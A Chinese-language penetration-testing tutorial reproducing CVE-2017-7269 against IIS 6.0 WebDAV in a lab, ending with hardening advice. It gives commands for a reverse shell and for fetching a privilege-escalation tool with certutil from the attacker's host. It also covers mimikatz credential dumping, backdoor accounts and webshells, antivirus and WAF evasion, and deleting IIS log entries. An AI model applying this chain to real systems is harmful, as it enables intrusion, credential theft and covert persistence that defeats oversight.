CVE-2017-7269漏洞复现：从IIS 6.0缓冲区溢出到系统提权实战

1. 项目概述与核心价值

CVE-2017-7269，这个编号对于长期从事渗透测试和红队评估的朋友来说，绝对是一个绕不开的经典案例。它不是一个简单的脚本小子工具，而是一个深刻揭示了早期Windows服务器架构与协议交互缺陷的“活化石”。这个漏洞影响的是微软IIS 6.0 Web服务器，一个在Windows Server 2003时代被广泛部署的组件。尽管目标系统在今天看来已经非常古老，但复现和研究这个漏洞的价值，远不止于“攻破一台老服务器”。

我之所以花时间重新梳理这个漏洞，是因为它提供了一个近乎完美的学习样本。它涉及WebDAV协议扩展、IIS的ISAPI筛选器工作机制、缓冲区溢出原理，以及从远程代码执行到系统提权的完整攻击链。理解它，你就能理解一类攻击的底层逻辑。很多新手拿到一个EXP（漏洞利用程序）只会照葫芦画瓢，却不知道背后的“葫芦”是怎么画出来的。这次，我们就从原理开始，一步步拆解，直到你不仅能复现，还能清晰地解释每一个步骤为什么有效，以及在实际的授权渗透测试中，如何谨慎、合规地利用这类发现。

简单来说，这个漏洞允许攻击者通过向开启了WebDAV扩展的IIS 6.0服务器发送一个精心构造的HTTP请求，触发缓冲区溢出，从而在服务器上执行任意代码。更关键的是，由于IIS工作进程（w3wp.exe）默认以NETWORK SERVICE或IIS_WPG组账户运行，成功利用后我们获得的往往是一个中等权限的shell。因此，“提权”成为利用后不可或缺的一环，这也是我们将“iis6提权渗透实践”作为重点的原因。整个流程，从信息收集到漏洞验证，再到权限提升和痕迹清理，是一次完整的渗透测试微型演练。

2. 漏洞原理深度解析：从协议到溢出

要真正利用一个漏洞，死记硬背EXP的用法是远远不够的。你必须理解它的“病根”在哪里。CVE-2017-7269的根源在于IIS 6.0对WebDAV协议请求中PROPFIND方法的处理存在缺陷。

2.1 WebDAV与ISAPI筛选器：漏洞的舞台

首先，我们需要了解两个关键角色：WebDAV和ISAPI。WebDAV（Web-based Distributed Authoring and Versioning）是一种基于HTTP/1.1的协议扩展，允许用户像操作本地文件一样，远程管理服务器上的文件（如创建、移动、复制）。IIS通过一个名为httpext.dll的ISAPI（Internet Server Application Programming Interface）筛选器来实现对WebDAV请求的处理。

ISAPI筛选器可以理解为IIS的“插件”，它挂载在请求处理管道中，对特定的HTTP请求进行预处理或后处理。当IIS收到一个HTTP请求时，它会根据请求的特征（如方法、URL）决定由哪个模块来处理。对于WebDAV请求（如PROPFIND、PROPPATCH、MKCOL等），就会交由httpext.dll这个筛选器来处理。

漏洞就出现在httpext.dll处理PROPFIND请求头的代码中。攻击者可以发送一个超长的、在If头字段中包含了大量特定Unicode字符的PROPFIND请求。

2.2 缓冲区溢出触发机制

问题的核心是一个经典的栈缓冲区溢出。在httpext.dll的代码中，存在一个用于处理PROPFIND请求中If:头的函数。这个函数在将Unicode字符串转换为ASCII（或进行某种字符串拷贝操作）时，没有对目标缓冲区的大小进行有效的边界检查。

具体来说，攻击者构造的恶意请求中，If:头的内容长度远远超过了函数内部预留的栈缓冲区大小。当函数执行字符串拷贝操作（如wcscpy或类似的不安全函数）时，超出的数据就会覆盖栈帧中相邻的内存区域，包括函数返回地址（EIP）。

注意：这里涉及到的技术细节比较底层。简单类比，就像你有一个只能装10杯水的水壶（栈缓冲区），但你却强行往里倒了100杯水（超长的If:头数据）。多出来的90杯水不仅会灌满水壶，还会淹掉旁边的桌子、椅子（栈上的其他数据，如保存的寄存器值、局部变量），最关键的是，会把水壶边上写着“用完水壶后下一步该做什么”的说明书（函数返回地址EIP）给泡烂、改写成别的内容。

通过精心构造这“多出来的水”（即shellcode和覆盖的返回地址），攻击者就能让程序在函数执行完毕后，不是返回到正常的调用者，而是跳转到我们指定的恶意代码（shellcode）去执行。这段shellcode通常被放置在请求数据包中，随着溢出数据一起被送入进程内存。

2.3 影响范围与利用条件

理解原理后，我们就能清晰地界定漏洞的利用边界：

1. 操作系统与组件：仅影响安装了IIS 6.0的Windows Server 2003系统。Windows Server 2008及更高版本的IIS不受影响。
2. 服务配置：必须启用了WebDAV扩展。在IIS管理器中，对应网站或服务器的“Web服务扩展”里，“WebDAV”必须处于“允许”状态。
3. 网络可达：攻击者需要能够访问到目标服务器的80端口（或IIS监听的其它HTTP端口）。

这个漏洞的经典之处在于，它不依赖于任何特定的网站应用代码，而是攻击IIS服务器组件本身，只要WebDAV开启，理论上该服务器上的所有网站都可能成为入口点。

3. 实验环境搭建与前期准备

在动手复现之前，一个隔离、安全的实验环境是必须的。我强烈反对在任何未经授权的真实系统上进行测试。

3.1 靶机环境配置

我们需要一台Windows Server 2003 R2虚拟机作为靶机。

1. 系统安装：从合法渠道获取Windows Server 2003 R2 ISO镜像，在VMware或VirtualBox中安装。安装时可以选择Standard Edition。
2. 安装IIS 6.0：系统安装完成后，通过“控制面板”->“添加或删除程序”->“添加/删除Windows组件”，勾选“应用程序服务器”，点击“详细信息”，确保“Internet信息服务(IIS)”被选中。在安装过程中，系统可能会提示插入安装光盘。
3. 启用WebDAV：安装好IIS后，打开“Internet信息服务(IIS)管理器”。展开左侧树形菜单，右键点击“Web服务扩展”。在右侧列表中，找到“WebDAV”，选中并点击“允许”。这是漏洞触发的关键条件。
4. 关闭防火墙：为了实验方便，暂时关闭Windows防火墙，或者设置规则允许80端口入站。在实际测试中，这一步需要根据目标环境灵活调整。
5. 创建测试网站：在IIS管理器中，新建一个网站，路径指向一个简单目录即可。确保该网站可以正常访问（例如，放一个test.txt文件）。

3.2 攻击机环境与工具准备

攻击机通常使用Kali Linux或任何你熟悉的渗透测试Linux发行版。

1. EXP获取：最常用的公开EXP是zcgonvh编写的版本。你可以从GitHub获取：https://github.com/zcgonvh/cve-2017-7269。使用git clone命令下载到本地。

   git clone https://github.com/zcgonvh/cve-2017-7269.git cd cve-2017-7269

   这个仓库里通常包含一个Python脚本（如exploit.py）和一个用于提权的Windows可执行文件（如pr.exe）。
2. 依赖安装：确保Python环境正常。该EXP通常依赖于requests库，使用pip install requests安装即可。
3. 网络连通性：确保攻击机和靶机在同一网络（如均设置为NAT或桥接模式），并且可以从攻击机ping通靶机的IP地址。

3.3 信息收集与漏洞初步探测

在发动攻击前，细致的侦察能提高成功率。

1. 端口扫描：使用nmap扫描靶机，确认80端口开放且服务为Microsoft IIS httpd 6.0。

   nmap -sV -p 80 <靶机IP>

2. WebDAV探测：使用davtest或cadaver等工具测试WebDAV是否真正启用并支持写操作。也可以手动发送一个OPTIONS请求来查看服务器支持的HTTP方法。

   curl -v -X OPTIONS http://<靶机IP>/

   在返回的Allow或Public头中，如果看到PROPFIND、PROPPATCH、MKCOL等方法，则WebDAV很可能已启用。
3. 目录扫描：使用dirb或gobuster扫描网站目录，寻找可能的上传点或敏感信息，为后续的提权或持久化做准备。

实操心得：在虚拟机环境中，我经常遇到即使开启了WebDAV，某些EXP也失败的情况。后来发现，除了在“Web服务扩展”中允许，有时还需要在具体网站的“属性”->“HTTP头”->“MIME类型”中确保相关类型已添加，但这并非绝对。最稳妥的验证方式是发送一个简单的PROPFIND请求看服务器是否返回XML格式的响应，而不是404或405错误。

4. 漏洞利用过程详细拆解

现在，我们进入核心的利用环节。我将以zcgonvh的EXP为例，分步解析其工作流程。

4.1 EXP代码结构与原理分析

打开exploit.py，我们不要急着运行，先看看它做了什么。一个典型的EXP结构包含以下部分：

1. 参数解析：接收目标IP、端口、反弹shell的IP和端口。
2. Shellcode生成：动态生成一段反向连接（reverse shell）的shellcode。这段代码是二进制的机器指令，用于在目标服务器上创建一个连接到我们攻击机的TCP会话。
3. 恶意请求构造：这是精华所在。EXP会构建一个特殊的HTTPPROPFIND请求。这个请求的If:头会被填充为精心构造的超长数据。这个长数据由以下几部分组成：
   • 填充物（Padding/NOP Sled）：一大串无操作指令（如\x90），用于提高跳转命中率。当EIP跳入这片区域时，处理器会“滑行”直到遇到有效指令。
   • Shellcode：就是上一步生成的反向连接代码。
   • 返回地址覆盖：用于覆盖栈上原有的函数返回地址。这个地址需要指向内存中某个稳定且可预测的位置，例如jmp esp等指令的地址。EXP作者通常会在代码中硬编码几个在httpext.dll或系统其他核心DLL中常见的指令地址。由于Windows Server 2003不打补丁的情况下DLL加载基址是固定的（除非启用ASLR，但Server 2003默认没有），所以这个地址是可靠的。
4. 发送请求：将构造好的恶意HTTP请求发送到目标服务器的80端口。
5. 监听与交互：在指定的端口上启动一个Netcat监听器，等待靶机上的shellcode执行成功并建立反向连接。

4.2 分步执行与利用

假设靶机IP是192.168.1.100，攻击机IP是192.168.1.50。

1. 在攻击机上启动监听：首先，我们需要一个接收反弹shell的监听器。

   nc -lvnp 4444

   这条命令会在本地的4444端口启动一个监听。
2. 运行EXP脚本：在另一个终端窗口，运行下载的Python EXP。

   python exploit.py -t 192.168.1.100 -p 80 -r 192.168.1.50 -rp 4444

   • -t: 目标IP
   • -p: 目标端口（默认80）
   • -r: 反弹shell的IP（攻击机IP）
   • -rp: 反弹shell的端口（需与Netcat监听端口一致）
3. 观察EXP输出：如果运行成功，EXP会显示发送请求，并可能提示成功。此时，切回Netcat的窗口，如果看到出现了命令行提示符（如C:\WINDOWS\system32>），恭喜你，漏洞利用成功，你已经获得了目标系统上一个NETWORK SERVICE或IIS_WPG权限的shell。

4.3 利用过程中的关键点与变种

1. Shellcode的兼容性：公开的EXP中的shellcode通常是反向TCP连接。如果目标服务器出网受限，你可能需要定制shellcode，比如改为绑定shell（bind shell，在目标机器上开一个端口等你连接）或者使用其他协议。
2. 返回地址的可靠性：不同的Windows Server 2003系统（语言版本、已安装的补丁）可能导致DLL的基址或内部指令地址有细微差别。公开EXP中提供的地址可能失效。这时就需要进行调试，寻找新的“跳板”指令地址。这属于高级利用范畴，需要用到调试器（如Immunity Debugger, WinDbg）和一定的汇编知识。
3. HTTP请求的细微调整：有些EXP可能需要对请求的路径、Host头等进行微调才能在某些特定的IIS配置下触发。

注意事项：在实际授权渗透中，使用公开EXP需要极其小心。第一，公开EXP可能已被安全设备标记，流量特征明显，极易被拦截。第二，它可能不稳定，导致目标IIS服务崩溃（w3wp.exe进程重启），产生异常日志。在真正的红队行动中，通常会根据目标环境定制化开发或修改EXP，以规避检测。

5. 权限提升：从IIS Worker到SYSTEM

成功利用漏洞获得的shell，其权限是运行IIS工作进程的账户，通常是NETWORK SERVICE。这个账户权限有限，无法进行很多关键操作（如安装软件、修改系统配置、转储所有用户哈希等）。因此，提权（Privilege Escalation）是必经之路。

5.1 提权工具pr.exe的原理与使用

在zcgonvh的仓库中，常附带一个名为pr.exe（或类似名称）的Windows提权工具。它的原理通常是利用Windows内核或高权限服务中的漏洞，将当前进程的权限提升至SYSTEM。

使用步骤：

1. 上传提权工具：在获得的反弹shell中，你需要将pr.exe上传到目标服务器。由于你有当前用户的写权限，可以尝试上传到可写目录，如C:\WINDOWS\Temp\或网站根目录下的某个文件夹。
   • 在攻击机上，用Python启动一个简单的HTTP服务：

     python -m http.server 8080

   • 在靶机的shell中，使用certutil（Windows自带）下载文件：

     certutil -urlcache -split -f http://192.168.1.50:8080/pr.exe C:\WINDOWS\Temp\pr.exe

2. 执行提权：运行上传的pr.exe。

   C:\WINDOWS\Temp\pr.exe

3. 验证权限：执行成功后，通常会生成一个新的具有SYSTEM权限的shell（可能是另一个反向连接，或者直接在当前shell中提升）。你可以使用whoami命令验证：

   whoami

   如果返回nt authority\system，则提权成功。

5.2 备选提权方案

pr.exe可能因为系统环境、补丁状况而失效。因此，掌握多种提权方法至关重要。

1. 本地漏洞提权：在靶机shell中，运行系统信息收集命令，寻找未修复的本地提权漏洞。

   systeminfo

   查看系统版本、已安装的补丁。将补丁列表与公开的本地提权漏洞（如MS16-032, MS16-135, CVE-2020-0787等）进行比对，寻找缺失的补丁。然后寻找对应的提权EXP进行利用。Kali Linux中集成了windows-exploit-suggester等工具可以辅助分析。
2. 服务配置不当提权：
   • 检查可写服务路径：使用accesschk.exe（Sysinternals工具，需上传）或sc qc命令检查服务，寻找二进制文件路径权限配置不当（NETWORK SERVICE或Authenticated Users有修改权限）的服务。
   • 不安全的服务权限：检查服务本身的权限，看当前用户是否有权限修改服务配置或重启服务。
3. AlwaysInstallElevated：检查注册表项HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer和HKEY_LOCAL_MACHINE\...\Installer下的AlwaysInstallElevated值是否为1。如果均为1，则任何MSI安装包都将以SYSTEM权限运行。
4. 计划任务：查看计划任务，寻找以SYSTEM运行但脚本或输出目录可写的任务。

5.3 提权后的操作

获得SYSTEM权限后，你可以进行更深层次的渗透：

1. 转储密码哈希：使用mimikatz或直接读取C:\Windows\System32\config\SAM文件（需要卷影拷贝技术）来获取本地所有用户的NTLM哈希。
2. 抓取明文密码：如果系统内存中驻留有登录会话，可以使用mimikatz的sekurlsa::logonpasswords命令尝试抓取明文密码。
3. 权限维持：创建隐藏的后门账户、安装Webshell、部署远控木马、创建计划任务或服务等。
4. 横向移动：利用获取的本地管理员哈希或密码，尝试攻击内网中的其他机器（Pass The Hash, Pass The Ticket等）。

实操心得：在Windows Server 2003上，pr.exe这类工具成功率相对较高，因为系统老旧，补丁不全。但务必注意，提权操作风险很高，极易触发杀毒软件或引起系统不稳定。在实战中，我通常会先尝试最温和的方法，比如检查计划任务和服务配置。上传任何工具前，最好先对工具进行免杀处理，或者使用系统自带的、可信的二进制文件（如msiexec,bitsadmin,certutil）来下载后续载荷，避免直接上传可执行文件。

6. 渗透实践中的关键技巧与深度利用

一次成功的渗透远不止于运行两个脚本。下面分享一些在实践CVE-2017-7269及后续行动中的关键技巧。

6.1 绕过基础防御与隐蔽通信

1. 流量混淆：原始的EXP流量特征明显。可以修改Python脚本，对HTTP请求体进行编码（如Base64、Hex）、添加随机冗余头部、分割请求包等，以绕过基础的WAF或IDS规则。
2. Shellcode免杀：生成shellcode时，可以使用msfvenom的编码器（如shikata_ga_nai）进行多次编码，并自定义模板。更高级的做法是使用C#、PowerShell等反射加载的方式，或者利用合法的Windows二进制文件（如regsvr32,rundll32）来执行载荷。
3. 使用加密通道：反弹shell使用明文TCP，容易被发现。可以考虑使用msfvenom生成基于HTTPS、DNS隧道的shellcode，或者利用Metasploit的meterpreter会话，它提供加密通信和丰富的后期利用模块。

6.2 信息收集与定位关键资产

获得shell后，不要急于提权或乱翻。系统性地收集信息：

1. 网络信息：ipconfig /all,route print,arp -a，了解服务器在网络中的位置和邻居。
2. 用户与组：net user,net localgroup administrators，了解当前用户、本地管理员。
3. 进程与服务：tasklist,net start，查看运行的服务，寻找可能关联数据库、中间件等关键资产的进程。
4. 文件系统：寻找配置文件（web.config,*.xml,*.ini）、日志文件、备份文件，其中可能包含数据库连接字符串、其他系统密码等敏感信息。
5. 数据库连接：如果服务器运行着Web应用，尝试在网站目录或注册表中寻找数据库连接信息，直接连接数据库可能获取大量核心数据。

6.3 清理痕迹与持久化

在授权测试中，清理痕迹是职业操守；在非法攻击中，这是避免被发现。但在学习环境中，了解这些有助于防御。

1. 日志清理：IIS日志通常位于C:\WINDOWS\system32\LogFiles\W3SVC*目录下。需要找到对应网站的日志文件，删除或修改包含你攻击IP和异常请求（如超长PROPFIND）的记录。Windows事件日志（eventvwr.msc）中的安全日志和系统日志也可能记录进程创建、账户登录等事件，清理难度较大。
2. 文件清理：删除上传的提权工具、生成的临时文件等。
3. 持久化手法：
   • Webshell：在网站目录下放置一个隐蔽的Webshell，作为备用入口。
   • 后门账户：创建一个隐藏的、属于管理员组的账户。
   • 计划任务：创建计划任务，定期连接C2服务器或执行恶意脚本。
   • 服务后门：将恶意程序注册为系统服务，并设置为开机自启。

注意事项：所有持久化操作都会在系统中留下更多痕迹。在真实的红队评估中，会根据行动目标（是短期突破获取情报，还是长期潜伏）来权衡使用何种持久化方法。过于复杂的持久化反而容易在蓝队的日常排查中暴露。

7. 漏洞修复与安全加固建议

作为安全从业者，知其攻更要知其防。对于仍可能存在的Windows Server 2003 + IIS 6.0环境，加固措施如下：

1. 根本解决：升级或替换：将操作系统升级到受支持的版本（如Windows Server 2019/2022），并使用更新版本的IIS。这是最彻底、最推荐的做法。如果无法升级，考虑将应用迁移到Linux平台或其他现代Web服务器。
2. 临时缓解：禁用WebDAV：如果业务完全不需要WebDAV功能，在IIS管理器的“Web服务扩展”中，直接禁用“WebDAV”。这是最有效的临时缓解措施。
3. 安装官方补丁：微软针对此漏洞发布了安全补丁（MS17-016）。请确保系统已安装所有安全更新。但由于Server 2003已停止扩展支持，获取所有补丁可能困难。
4. 网络层防护：
   • WAF（Web应用防火墙）：部署WAF，并配置规则拦截异常的PROPFIND请求，特别是包含超长If:头的请求。
   • IDS/IPS：在网络边界部署入侵检测/防御系统，更新规则库以识别和阻断CVE-2017-7269的攻击流量。
5. 最小权限原则：运行IIS工作进程的账户（应用程序池标识）应使用最低必要的权限。避免使用NETWORK SERVICE，可以创建专用的低权限账户。严格限制该账户对文件系统和注册表的访问权限。
6. 定期安全评估：对老旧系统进行定期的漏洞扫描和渗透测试，主动发现潜在风险。

复现CVE-2017-7269的过程，是一次对经典缓冲区溢出漏洞、Web服务器安全、Windows提权技术和完整渗透流程的集中演练。它像一本老旧的教科书，虽然内容针对的是过时的系统，但其中蕴含的原理、思路和方法论却历久弥新。理解它如何被利用，你就能更好地理解现代防护技术（如DEP, ASLR, CFG）的价值；掌握从外网突破到内网提权的完整链条，你就能更系统地进行安全防御规划。在安全领域，攻击技法的演进和防御体系的加固永远是一场动态的博弈，而研究这些经典案例，正是我们在这场博弈中保持敏锐和深度的基石。